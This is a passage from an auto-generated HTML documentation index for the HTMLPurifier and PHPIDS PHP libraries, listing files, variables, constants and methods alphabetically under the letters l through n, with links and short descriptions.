class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---Lang.php.html">Lang.php</a> in Lang.php</div> - </dd> - <dt class="field"> - <span class="include-title">Length.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---Length.php.html">Length.php</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="include-title">Legacy.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Legacy.php.html">Legacy.php</a> in Legacy.php</div> - </dd> - <dt class="field"> - <span class="include-title">List.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---List.php.html">List.php</a> in List.php</div> - </dd> - <dt class="field"> - <span class="include-title">Linkify.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Injector---Linkify.php.html">Linkify.php</a> in Linkify.php</div> - </dd> - <dt class="field"> - <span class="include-title">Language.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Language.php.html">Language.php</a> in Language.php</div> - </dd> - <dt class="field"> - <span class="include-title">LanguageFactory.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---LanguageFactory.php.html">LanguageFactory.php</a> in LanguageFactory.php</div> - </dd> - <dt class="field"> - <span class="include-title">Length.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Length.php.html">Length.php</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="include-title">Lexer.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Lexer.php.html">Lexer.php</a> in Lexer.php</div> - </dd> - </dl> - <a name="m"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">m</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$manager</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#var$manager">HTMLPurifier_HTMLDefinition::$manager</a> in HTMLDefinition.php</div> - </dd> - <dt class="field"> - <span class="var-title">$max</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Length.html#var$max">HTMLPurifier_AttrDef_CSS_Length::$max</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="var-title">$max</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Multiple.html#var$max">HTMLPurifier_AttrDef_CSS_Multiple::$max</a> in Multiple.php</div> - <div class="index-item-description">Max number of values allowed.</div> - </dd> - <dt class="field"> - <span class="var-title">$max</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Pixels.html#var$max">HTMLPurifier_AttrDef_HTML_Pixels::$max</a> in Pixels.php</div> - </dd> - <dt class="field"> - <span class="var-title">$member</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#var$member">HTMLPurifier_ConfigSchema_ValidatorAtom::$member</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="var-title">$mergeable_keys_list</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_LanguageFactory.html#var$mergeable_keys_list">HTMLPurifier_LanguageFactory::$mergeable_keys_list</a> in LanguageFactory.php</div> - <div class="index-item-description">Keys whose contents are a list and can be merged</div> - </dd> - <dt class="field"> - <span class="var-title">$mergeable_keys_map</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_LanguageFactory.html#var$mergeable_keys_map">HTMLPurifier_LanguageFactory::$mergeable_keys_map</a> in LanguageFactory.php</div> - <div class="index-item-description">Keys whose contents are a hash map and can be merged</div> - </dd> - <dt class="field"> - <span class="var-title">$messages</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#var$messages">HTMLPurifier_Language::$messages</a> in Language.php</div> - <div class="index-item-description">Array of localizable messages</div> - </dd> - <dt class="field"> - <span class="var-title">$min</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Length.html#var$min">HTMLPurifier_AttrDef_CSS_Length::$min</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="var-title">$minimized</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Bool.html#var$minimized">HTMLPurifier_AttrDef_HTML_Bool::$minimized</a> in Bool.php</div> - </dd> - <dt class="field"> - <span class="var-title">$minimized</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef.html#var$minimized">HTMLPurifier_AttrDef::$minimized</a> in AttrDef.php</div> - <div class="index-item-description">Tells us whether or not an HTML attribute is minimized. Has no meaning in other contexts.</div> - </dd> - <dt class="field"> - <span class="var-title">$modules</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Doctype.html#var$modules">HTMLPurifier_Doctype::$modules</a> in Doctype.php</div> - <div class="index-item-description">List of standard modules (string identifiers or literal objects)</div> - </dd> - <dt class="field"> - <span class="var-title">$modules</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#var$modules">HTMLPurifier_HTMLModuleManager::$modules</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Active instances of modules for the specified doctype are indexed, by name, in this array.</div> - </dd> - <dt class="field"> - <span class="include-title">Memcached.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Caching---Memcached.php.html">Memcached.php</a> in Memcached.php</div> - </dd> - <dt class="field"> - MAIN_PHASE - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constMAIN_PHASE">HTML5TreeConstructer::MAIN_PHASE</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">make</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Bool.html#methodmake">HTMLPurifier_AttrDef_HTML_Bool::make()</a> in Bool.php</div> - </dd> - <dt class="field"> - <span class="method-title">make</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Pixels.html#methodmake">HTMLPurifier_AttrDef_HTML_Pixels::make()</a> in Pixels.php</div> - </dd> - <dt class="field"> - <span class="method-title">make</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html#methodmake">HTMLPurifier_Length::make()</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="method-title">make</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Enum.html#methodmake">HTMLPurifier_AttrDef_Enum::make()</a> in Enum.php</div> - </dd> - <dt class="field"> - <span class="method-title">make</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef.html#methodmake">HTMLPurifier_AttrDef::make()</a> in AttrDef.php</div> - <div class="index-item-description">Factory method for creating this class from a string.</div> - </dd> - <dt class="field"> - <span class="method-title">make</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DoctypeRegistry.html#methodmake">HTMLPurifier_DoctypeRegistry::make()</a> in DoctypeRegistry.php</div> - <div class="index-item-description">Creates a doctype based on a configuration object,</div> - </dd> - <dt class="field"> - <span class="method-title">make</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI.html#methodmake">HTMLPurifier_AttrDef_URI::make()</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="method-title">make</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Id.html#methodmake">HTMLPurifier_ConfigSchema_Interchange_Id::make()</a> in Id.php</div> - </dd> - <dt class="field"> - <span class="method-title">makeFixes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Strict.html#methodmakeFixes">HTMLPurifier_HTMLModule_Tidy_Strict::makeFixes()</a> in Strict.php</div> - </dd> - <dt class="field"> - <span class="method-title">makeFixes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Proprietary.html#methodmakeFixes">HTMLPurifier_HTMLModule_Tidy_Proprietary::makeFixes()</a> in Proprietary.php</div> - </dd> - <dt class="field"> - <span class="method-title">makeFixes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy.html#methodmakeFixes">HTMLPurifier_HTMLModule_Tidy::makeFixes()</a> in Tidy.php</div> - <div class="index-item-description">Defines all fixes the module will perform in a compact associative array of fix name to fix implementation.</div> - </dd> - <dt class="field"> - <span class="method-title">makeFixes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Name.html#methodmakeFixes">HTMLPurifier_HTMLModule_Tidy_Name::makeFixes()</a> in Name.php</div> - </dd> - <dt class="field"> - <span class="method-title">makeFixes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4.html#methodmakeFixes">HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4::makeFixes()</a> in XHTMLAndHTML4.php</div> - </dd> - <dt class="field"> - <span class="method-title">makeFixes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_XHTML.html#methodmakeFixes">HTMLPurifier_HTMLModule_Tidy_XHTML::makeFixes()</a> in XHTML.php</div> - </dd> - <dt class="field"> - <span class="method-title">makeFixesForLevel</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy.html#methodmakeFixesForLevel">HTMLPurifier_HTMLModule_Tidy::makeFixesForLevel()</a> in Tidy.php</div> - <div class="index-item-description">Dynamically populates the $fixesForLevel member variable using the fixes array. It may be custom overloaded, used in conjunction with $defaultLevel, or not used at all.</div> - </dd> - <dt class="field"> - <span class="method-title">makeFromSerial</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methodmakeFromSerial">HTMLPurifier_ConfigSchema::makeFromSerial()</a> in ConfigSchema.php</div> - <div class="index-item-description">Unserializes the default ConfigSchema.</div> - </dd> - <dt class="field"> - <span class="method-title">makeLookup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#methodmakeLookup">HTMLPurifier_HTMLModule::makeLookup()</a> in HTMLModule.php</div> - <div class="index-item-description">Convenience function that generates a lookup table with boolean true as value.</div> - </dd> - <dt class="field"> - <span class="method-title">makeReplace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_Munge.html#methodmakeReplace">HTMLPurifier_URIFilter_Munge::makeReplace()</a> in Munge.php</div> - </dd> - <dt class="field"> - MARKER - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constMARKER">HTML5TreeConstructer::MARKER</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">match</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#methodmatch">IDS_Filter::match()</a> in Filter.php</div> - <div class="index-item-description">Matches a string against current filter</div> - </dd> - <dt class="field"> - <span class="method-title">mergeArrayFromForm</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodmergeArrayFromForm">HTMLPurifier_Config::mergeArrayFromForm()</a> in Config.php</div> - <div class="index-item-description">Merges in configuration values from $_GET/$_POST to object. NOT STATIC.</div> - </dd> - <dt class="field"> - <span class="method-title">mergeIn</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html#methodmergeIn">HTMLPurifier_ElementDef::mergeIn()</a> in ElementDef.php</div> - <div class="index-item-description">Merges the values of another element definition into this one.</div> - </dd> - <dt class="field"> - <span class="method-title">mergeInAttrIncludes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#methodmergeInAttrIncludes">HTMLPurifier_HTMLModule::mergeInAttrIncludes()</a> in HTMLModule.php</div> - <div class="index-item-description">Convenience function that merges a list of attribute includes into an attribute array.</div> - </dd> - <dt class="field"> - MESSAGE - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#constMESSAGE">HTMLPurifier_ErrorCollector::MESSAGE</a> in ErrorCollector.php</div> - </dd> - <dt class="field"> - METRIC - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_UnitConverter.html#constMETRIC">HTMLPurifier_UnitConverter::METRIC</a> in UnitConverter.php</div> - </dd> - <dt class="field"> - MIXED - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#constMIXED">HTMLPurifier_VarParser::MIXED</a> in VarParser.php</div> - </dd> - <dt class="field"> - <span class="include-title">Monitor.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Monitor.php.html">Monitor.php</a> in Monitor.php</div> - </dd> - <dt class="field"> - <span class="method-title">mungeRgb</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef.html#methodmungeRgb">HTMLPurifier_AttrDef::mungeRgb()</a> in AttrDef.php</div> - <div class="index-item-description">Removes spaces from rgb(0, 0, 0) so that shorthand CSS properties work</div> - </dd> - <dt class="field"> - <span class="method-title">muteErrorHandler</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DOMLex.html#methodmuteErrorHandler">HTMLPurifier_Lexer_DOMLex::muteErrorHandler()</a> in DOMLex.php</div> - <div class="index-item-description">An error handler that mutes all errors</div> - </dd> - <dt class="field"> - <span class="include-title">Multiple.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---Multiple.php.html">Multiple.php</a> in Multiple.php</div> - </dd> - <dt class="field"> - <span class="include-title">MultiLength.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---HTML---MultiLength.php.html">MultiLength.php</a> in MultiLength.php</div> - </dd> - <dt class="field"> - <span class="include-title">Memory.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---DefinitionCache---Decorator---Memory.php.html">Memory.php</a> in Memory.php</div> - </dd> - <dt class="field"> - <span class="include-title">MakeWellFormed.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Strategy---MakeWellFormed.php.html">MakeWellFormed.php</a> in MakeWellFormed.php</div> - </dd> - <dt class="field"> - <span class="include-title">MakeAbsolute.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIFilter---MakeAbsolute.php.html">MakeAbsolute.php</a> in MakeAbsolute.php</div> - </dd> - <dt class="field"> - <span class="include-title">Munge.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIFilter---Munge.php.html">Munge.php</a> in Munge.php</div> - </dd> - <dt class="field"> - <span class="include-title">mailto.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIScheme---mailto.php.html">mailto.php</a> in mailto.php</div> - </dd> - </dl> - <a name="n"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">n</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$n</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html#var$n">HTMLPurifier_Length::$n</a> in Length.php</div> - <div class="index-item-description">String numeric magnitude.</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Proprietary.html#var$name">HTMLPurifier_HTMLModule_Tidy_Proprietary::$name</a> in Proprietary.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Presentation.html#var$name">HTMLPurifier_HTMLModule_Presentation::$name</a> in Presentation.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Object.html#var$name">HTMLPurifier_HTMLModule_Object::$name</a> in Object.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Proprietary.html#var$name">HTMLPurifier_HTMLModule_Proprietary::$name</a> in Proprietary.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_PurifierLinkify.html#var$name">HTMLPurifier_Injector_PurifierLinkify::$name</a> in PurifierLinkify.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_SafeEmbed.html#var$name">HTMLPurifier_AttrTransform_SafeEmbed::$name</a> in SafeEmbed.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Ruby.html#var$name">HTMLPurifier_HTMLModule_Ruby::$name</a> in Ruby.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_NonXMLCommonAttributes.html#var$name">HTMLPurifier_HTMLModule_NonXMLCommonAttributes::$name</a> in NonXMLCommonAttributes.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Name.html#var$name">HTMLPurifier_HTMLModule_Tidy_Name::$name</a> in Name.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_List.html#var$name">HTMLPurifier_HTMLModule_List::$name</a> in List.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_LinkTypes.html#var$name">HTMLPurifier_AttrDef_HTML_LinkTypes::$name</a> in LinkTypes.php</div> - <div class="index-item-description">Name config attribute to pull.</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_MakeAbsolute.html#var$name">HTMLPurifier_URIFilter_MakeAbsolute::$name</a> in MakeAbsolute.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Memory.html#var$name">HTMLPurifier_DefinitionCache_Decorator_Memory::$name</a> in Memory.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_AutoParagraph.html#var$name">HTMLPurifier_Injector_AutoParagraph::$name</a> in AutoParagraph.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_Munge.html#var$name">HTMLPurifier_URIFilter_Munge::$name</a> in Munge.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_SafeEmbed.html#var$name">HTMLPurifier_HTMLModule_SafeEmbed::$name</a> in SafeEmbed.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_SafeObject.html#var$name">HTMLPurifier_AttrTransform_SafeObject::$name</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Transitional.html#var$name">HTMLPurifier_HTMLModule_Tidy_Transitional::$name</a> in Transitional.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Text.html#var$name">HTMLPurifier_Token_Text::$name</a> in Text.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Text.html#var$name">HTMLPurifier_HTMLModule_Text::$name</a> in Text.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter.html#var$name">HTMLPurifier_URIFilter::$name</a> in URIFilter.php</div> - <div class="index-item-description">Unique identifier of filter</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_XHTML.html#var$name">HTMLPurifier_HTMLModule_Tidy_XHTML::$name</a> in XHTML.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter_YouTube.html#var$name">HTMLPurifier_Filter_YouTube::$name</a> in YouTube.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_XMLCommonAttributes.html#var$name">HTMLPurifier_HTMLModule_XMLCommonAttributes::$name</a> in XMLCommonAttributes.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Target.html#var$name">HTMLPurifier_HTMLModule_Target::$name</a> in Target.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Tag.html#var$name">HTMLPurifier_Token_Tag::$name</a> in Tag.php</div> - <div class="index-item-description">The lower-case name of the tag, like 'a', 'b' or 'blockquote'.</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_SafeParam.html#var$name">HTMLPurifier_AttrTransform_SafeParam::$name</a> in SafeParam.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_SafeObject.html#var$name">HTMLPurifier_Injector_SafeObject::$name</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_SafeObject.html#var$name">HTMLPurifier_HTMLModule_SafeObject::$name</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Scripting.html#var$name">HTMLPurifier_HTMLModule_Scripting::$name</a> in Scripting.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Strict.html#var$name">HTMLPurifier_HTMLModule_Tidy_Strict::$name</a> in Strict.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tables.html#var$name">HTMLPurifier_HTMLModule_Tables::$name</a> in Tables.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_StyleAttribute.html#var$name">HTMLPurifier_HTMLModule_StyleAttribute::$name</a> in StyleAttribute.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_Linkify.html#var$name">HTMLPurifier_Injector_Linkify::$name</a> in Linkify.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Name.html#var$name">HTMLPurifier_HTMLModule_Name::$name</a> in Name.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_DisableExternalResources.html#var$name">HTMLPurifier_URIFilter_DisableExternalResources::$name</a> in DisableExternalResources.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_DisplayLinkURI.html#var$name">HTMLPurifier_Injector_DisplayLinkURI::$name</a> in DisplayLinkURI.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_DisableExternal.html#var$name">HTMLPurifier_URIFilter_DisableExternal::$name</a> in DisableExternal.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Image.html#var$name">HTMLPurifier_HTMLModule_Image::$name</a> in Image.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Hypertext.html#var$name">HTMLPurifier_HTMLModule_Hypertext::$name</a> in Hypertext.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter.html#var$name">HTMLPurifier_Filter::$name</a> in Filter.php</div> - <div class="index-item-description">Name of the filter for identification purposes</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Forms.html#var$name">HTMLPurifier_HTMLModule_Forms::$name</a> in Forms.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#var$name">HTMLPurifier_Injector::$name</a> in Injector.php</div> - <div class="index-item-description">Advisory name of injector, this is for friendly error messages</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_HostBlacklist.html#var$name">HTMLPurifier_URIFilter_HostBlacklist::$name</a> in HostBlacklist.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Edit.html#var$name">HTMLPurifier_HTMLModule_Edit::$name</a> in Edit.php</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Doctype.html#var$name">HTMLPurifier_Doctype::$name</a> in Doctype.php</div> - <div class="index-item-description">Full name of doctype</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_DirectiveAlias.html#var$name">HTMLPurifier_ConfigDef_DirectiveAlias::$name</a> in DirectiveAlias.php</div> - <div class="index-item-description">Directive being aliased to</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm.html#var$name">HTMLPurifier_Printer_ConfigForm::$name</a> in ConfigForm.php</div> - <div class="index-item-description">Name of form element to stuff config in</div> - </dd> - <dt class="field"> - <span class="var-title">$name</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange.html#var$name">HTMLPurifier_ConfigSchema_Interchange::$name</a> in Interchange.php</div> - <div 